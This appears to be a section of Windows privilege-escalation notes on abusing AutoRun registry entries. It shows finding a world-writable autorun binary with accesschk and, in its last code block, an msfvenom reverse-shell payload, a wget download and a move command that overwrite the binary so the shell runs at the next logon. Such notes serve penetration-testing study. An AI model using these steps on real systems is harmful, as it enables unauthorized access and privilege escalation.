# AutoRuns
Windows can be set to run scripts and applications on system boot and on logon of a user.
```
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```
Above, the binary `program.exe` has been located under the specified registry path. Binaries found in this path are executed every time a user logs into the system. [\[Source\]](https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys)
Running `accesschk.exe` against the binary shows that the security group "Everyone" has *FILE\_ALL\_ACCESS* permission to the binary.
```
.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
```
This means the binary can be overwritten by anyone. In this effect, replacing the binary with a reverse shell of the name `program.exe` would mean the next time someone logs in it would be possible to have the shell executed in the context of the logged in user.
```
# Create Reverse Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe -o program.exe
# Upload to target system
wget http:///program.exe
# Move to binary folder
move .\program.exe "C:\Program Files\Autorun Program\" /Y
# Wait for user to login
```
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